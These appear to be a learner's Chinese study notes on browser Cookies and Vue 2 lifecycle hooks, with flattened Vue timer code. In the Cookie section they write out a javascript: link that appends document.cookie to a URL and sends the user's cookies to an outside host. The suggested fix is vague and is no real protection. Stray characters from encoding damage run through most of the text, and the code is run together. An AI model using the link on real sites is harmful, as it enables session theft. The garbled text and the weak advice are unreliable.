一、了解Cookie

類似于對(duì)象響應(yīng)攜帶數(shù)據(jù)

• 輸入用戶名密碼跳轉(zhuǎn)到指定頁(yè)面

• 點(diǎn)擊指定頁(yè)面中其中一個(gè)按鈕跳轉(zhuǎn)到另一個(gè)指定頁(yè)面（再不需用輸入用戶名密碼）

• 例如現(xiàn)在很多瀏覽器實(shí)現(xiàn)七天免密登錄

?簡(jiǎn)單理解：就是在網(wǎng)站登錄頁(yè)面之后，服務(wù)器響應(yīng)返回帶著Cookie，然后這一組Cookie就存到自己的瀏覽器，當(dāng)瀏覽器在當(dāng)前網(wǎng)頁(yè)再查看其他頁(yè)面時(shí)候就會(huì)帶著這一組Cookie進(jìn)行訪問(wèn)（這時(shí)候就不需要用戶名和密碼的輸入），當(dāng)訪問(wèn)到新的頁(yè)面之后，重新響應(yīng)并帶著新的一組Cookie返回到當(dāng)前瀏覽器存放（那么當(dāng)前瀏覽器就存放著兩次響應(yīng)返回的Cookie）

禁止：跨瀏覽器讀取Cookie?

安全性問(wèn)題?

• 可以直接通過(guò)指令獲取到Cookie

  

• ?通過(guò)一個(gè)html鏈接數(shù)據(jù)，數(shù)據(jù)包含跳轉(zhuǎn)到頁(yè)面和獲取本地Cookie，隨后把本地Cookie都發(fā)送到這個(gè)服務(wù)器

<a href=javascript:location.href="http://www.baidu.com"+document.cookie>目標(biāo)網(wǎng)址</a>

解決方式

通過(guò)保護(hù)開(kāi)發(fā)者工具中數(shù)據(jù)的Cookies數(shù)據(jù)

?

二、生命周期（以下每一條鉤子對(duì)照下面的生命周期圖進(jìn)行比對(duì)）

生命周期：又名周期回調(diào)函數(shù)、生命周期函數(shù)、生命周期鉤子

生命周期是什么？

Vue在關(guān)鍵時(shí)刻幫我們調(diào)用一些特殊的名稱的函數(shù)

生命周期函數(shù)的名字不可更改，但函數(shù)的具體內(nèi)容是程序員根據(jù)業(yè)務(wù)需求編寫

生命周期函數(shù)中的this指向的是vm 或者 最簡(jiǎn)實(shí)例對(duì)象Vue

一個(gè)透明度變化案例引出生命周期：mounted（掛載鉤子）

（生命周期和方法平級(jí)，是個(gè)函數(shù)）

當(dāng)頁(yè)面展示時(shí)候就會(huì)出現(xiàn)效果

這里使用mounted：將初始的真實(shí)DOM元素放入頁(yè)面，

解釋什么是初始的真實(shí)DOM:就是在頁(yè)面渲染時(shí)候會(huì)出現(xiàn)的一組生命周期，當(dāng)這個(gè)周期完成之后，mounted就不會(huì)出現(xiàn)

?

?

?

//此代碼不能實(shí)現(xiàn)頁(yè)面一刷新就開(kāi)始閃爍
//以下代碼需要使用按鈕才會(huì)執(zhí)行效果，直接使用模板解析會(huì)出現(xiàn)指數(shù)增長(zhǎng)：多次模板解析定時(shí)器
<!-- {{change()}} 當(dāng)使用模板內(nèi)調(diào)用方法回循環(huán)解析：指數(shù)增加定時(shí)器開(kāi)啟-->
<!-- <button @click="change"></button> -->
<h2 :style="{opacity}">歡迎學(xué)習(xí)</h2>
//vuemethods: {// 只要使用一次：發(fā)現(xiàn)vue中數(shù)據(jù)變化就會(huì)重新解析chenge() {setInterval(() => {this.opacity -= 0.01;// 此處注意：js不會(huì)計(jì)算小數(shù)：如果opacity的值小于等于0if (vm.opacity <= 0) vm.opacity = 1;}, 16);},},

//以下就是直接使用掛在完畢演示到也頁(yè)面的鉤子使用
<h2 :style="{opacity}">歡迎學(xué)習(xí)</h2>
<h2 v-if="a">你好</h2>
//vuedata: {opacity: 1,a: false,},mounted() {setInterval(() => {vm.opacity -= 0.01;// 此處注意：js不會(huì)計(jì)算小數(shù)：如果opacity的值小于等于0if (vm.opacity <= 0) vm.opacity = 1;}, 16);},

init Events&Lifecycle：初始化：指定多個(gè)周期函數(shù)并命名，指定事件處理（這時(shí)候還沒(méi)有數(shù)據(jù)代理，沒(méi)有._data）

1. beforeCreat:頁(yè)面還未數(shù)據(jù)代理(無(wú)法通過(guò)vm訪問(wèn)data中的數(shù)據(jù)，methods方法)

init injections & reactivity: 初始化：完成數(shù)據(jù)代理、數(shù)據(jù)代理

2.created：實(shí)現(xiàn)數(shù)據(jù)代理和數(shù)據(jù)監(jiān)測(cè)（通過(guò)vue的data數(shù)據(jù)查看和有沒(méi)有g(shù)etter）

has "el"option?: 查看你有沒(méi)有與模板鏈接（有繼續(xù)往下執(zhí)行）；如果沒(méi)有el，就是當(dāng)$mounte（'#容器名'）調(diào)用之后才會(huì)執(zhí)行

has "template"option? : el標(biāo)記的部分就是模板（沒(méi)有template可以執(zhí)行轉(zhuǎn)為真實(shí)DOM）；有可以通過(guò)template模板（也可以執(zhí)行轉(zhuǎn)為真實(shí)DOM）

template配置項(xiàng)里面的內(nèi)容被div包裹可以替換外界模板整體

//以下整塊代碼就是模板，都會(huì)被解析，包括最外層div<div id="root"><h2>當(dāng)前的n值是:{{n}}</h2><button @click="add">點(diǎn)我n+1</button><button @click="bye">點(diǎn)我銷毀按鈕</button></div>

//存在templatetemplate:`<div><h2>當(dāng)前的n值是:{{n}}</h2><button @click='add'>點(diǎn)我n+1</button></div>`

?

3. beforeMounted：未經(jīng)掛載

此時(shí)頁(yè)面出現(xiàn)的都是經(jīng)過(guò)vue編譯的真實(shí)DOM，所有對(duì)DOM的操作，最終都不奏效（斷點(diǎn)不影響后面真實(shí)DOM的產(chǎn)生，也就是前面對(duì)DOM的操作無(wú)效）

Creat vm.$eland replact "el"with it：將虛擬DOM轉(zhuǎn)為真實(shí)DOM,并在$el上存放一份

4.mounted：

• 此時(shí)頁(yè)面出現(xiàn)的都是經(jīng)過(guò)vue編譯過(guò)的頁(yè)面內(nèi)容

• 這時(shí)候?qū)OM的操作均有效，但是盡可能避免，Vue的初始化結(jié)束，可以開(kāi)啟：定時(shí)器、發(fā)送網(wǎng)絡(luò)請(qǐng)求、訂閱消息、綁定自定義事件、初始化操作

5.更新流程：

• beforeUpdate:數(shù)據(jù)變成了新的，但是頁(yè)面還是舊的

• ?Virtual DOM re-render and patch:新數(shù)據(jù)生成新的虛擬DOM與舊的虛擬DOM進(jìn)行比較

• updated：數(shù)據(jù)和頁(yè)面內(nèi)容同步

when vm.$destroy id called:當(dāng)調(diào)用摧毀指令時(shí)候就會(huì)開(kāi)始執(zhí)行銷毀vm（解綁所有指令（但是事件還是存在）和事件監(jiān)聽(tīng)器）

頁(yè)面之前解析的內(nèi)容都存在，但是數(shù)據(jù)操作都不會(huì)顯示

6.beforeDestroy：此時(shí)vm素有指令都處于可用，罵聲執(zhí)行銷毀，在此階段：關(guān)閉定時(shí)器，取消訂閱消息，解綁自定義事件

需要移除所有事件（自定義事件）的監(jiān)視，還有移除所有子組件

7.Destroy：

在多數(shù)場(chǎng)景中不適用destroy直接使用（目前是自殺）

以下是生命周期細(xì)分圖